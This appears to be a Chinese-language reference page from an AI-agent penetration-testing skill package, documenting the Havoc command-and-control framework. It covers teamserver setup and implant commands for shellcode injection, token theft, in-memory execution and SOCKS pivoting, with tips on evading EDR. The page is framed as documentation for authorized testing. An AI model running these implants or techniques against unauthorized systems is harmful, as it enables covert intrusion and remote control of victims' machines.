x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/havoc.md
View on GitHub# Havoc
- **Category**: Post-Exploitation / Command & Control
- **Risk Level**: 🔴 Critical
---
## 描述
一款现代后渗透命令与控制(C2)框架,采用 teamserver 架构。使用 Demon agent(植入体),支持 HTTP/HTTPS 监听器、BOF(Beacon Object File)执行、SOCKS 代理跳板转发、间接系统调用、睡眠混淆和进程注入。服务端完全通过 YAOTL 配置文件进行 CLI 配置,定义监听器、teamserver 凭据和 Demon 设置。支持多操作员通过 teamserver 模型协作。注意:Havoc 客户端基于 GUI;本文档侧重于 CLI 可配置的服务端、可编程的 Demon 操作和用于自动化的 Python Havoc API。
## 安装
```bash
sudo apt install havoc
# 或从源码构建
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
make
```
## 参数说明
### Teamserver
| 参数 | 说明 |
|------|------|
| `havoc server --profile <file>` | 使用 YAOTL 配置文件启动 teamserver |
| `--debug` | 启用调试日志 |
| `-v` | 详细输出 |
### YAOTL 配置文件设置
| 参数 | 说明 |
|------|------|
| `Teamserver.Host` | Teamserver 绑定地址 |
| `Teamserver.Port` | Teamserver 绑定端口 |
| `Operators` | 操作员凭据列表(用户名/密码) |
| `Listeners` | HTTP/HTTPS 监听器定义(主机、端口、URI) |
| `Demon.Sleep` | 默认睡眠间隔(秒) |
| `Demon.Jitter` | 睡眠抖动百分比 |
| `Demon.Injection.Spawn64` | 64 位注入进程 |
| `Demon.Injection.Spawn32` | 32 位注入进程 |
### Demon 命令(通过操作员客户端)
| 参数 | 说明 |
|------|------|
| `shell <cmd>` | 在目标上执行 Shell 命令 |
| `upload <local> <remote>` | 上传文件到目标 |
| `download <remote>` | 从目标下载文件 |
| `execute-assembly <file>` | 在内存中执行 .NET 程序集 |
| `inline-execute <bof>` | 内联执行 BOF(Beacon Object File) |
| `inject <pid> <shellcode>` | 将 shellcode 注入进程 |
| `sleep <sec> <jitter%>` | 设置睡眠间隔和抖动 |
| `socks add <port>` | 在 teamserver 上启动 SOCKS 代理 |
| `socks kill <port>` | 停止 SOCKS 代理 |
| `token steal <pid>` | 从进程窃取令牌 |
| `token make <domain> <user> <pass>` | 使用凭据创建令牌 |
| `pivot` | 在被攻陷主机上设置跳板监听器 |
| `exit` | 终止 Demon 植入体 |
## 常用命令
```bash
# 使用配置文件启动 teamserver
havoc server --profile /opt/havoc/profiles/default.yaotl
# 生成 Demon payload(通过 Havoc 客户端 GUI 或 Python API)
# Python API 示例:
# from havoc import Havoc
# h = Havoc("https://teamserver:40056", "operator", "password")
# h.generate_payload(listener="http-listener", arch="x64", format="exe")
# 在目标上执行 BOF(在 Demon 控制台中)
# inline-execute /opt/bofs/sa-whoami.x64.o
# 通过 Demon 启动 SOCKS 代理(在 Demon 控制台中)
# socks add 1080
# 从 Kali 使用 proxychains 通过 SOCKS 代理
# proxychains nxc smb 10.0.0.0/24
# 在内存中执行 .NET 程序集(在 Demon 控制台中)
# execute-assembly /opt/tools/Seatbelt.exe -group=all
```
## 注意事项
1. Havoc 客户端基于 GUI,用于交互式操作员会话——服务端为纯 CLI,可在 VPS 上以无头模式运行。
2. YAOTL 配置文件定义整个 C2 基础设施——对配置文件进行版本控制,并为不同项目使用独立的配置文件。
3. Demon 支持间接系统调用和睡眠混淆,使其在对抗 EDR 时比许多开源植入体更具隐蔽性。
4. BOF 执行(`inline-execute`)在 Demon 进程中运行位置无关代码,无需创建新进程——优先使用 BOF 版本的工具以提升隐蔽性。
5. Python Havoc API 可实现 payload 生成、监听器管理和任务自动化的脚本编写——用于可重复的项目环境搭建。
---
## 官方参考
- [Havoc (GitHub)](https://github.com/HavocFramework/Havoc)
- [Kali havoc](https://www.kali.org/tools/havoc/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |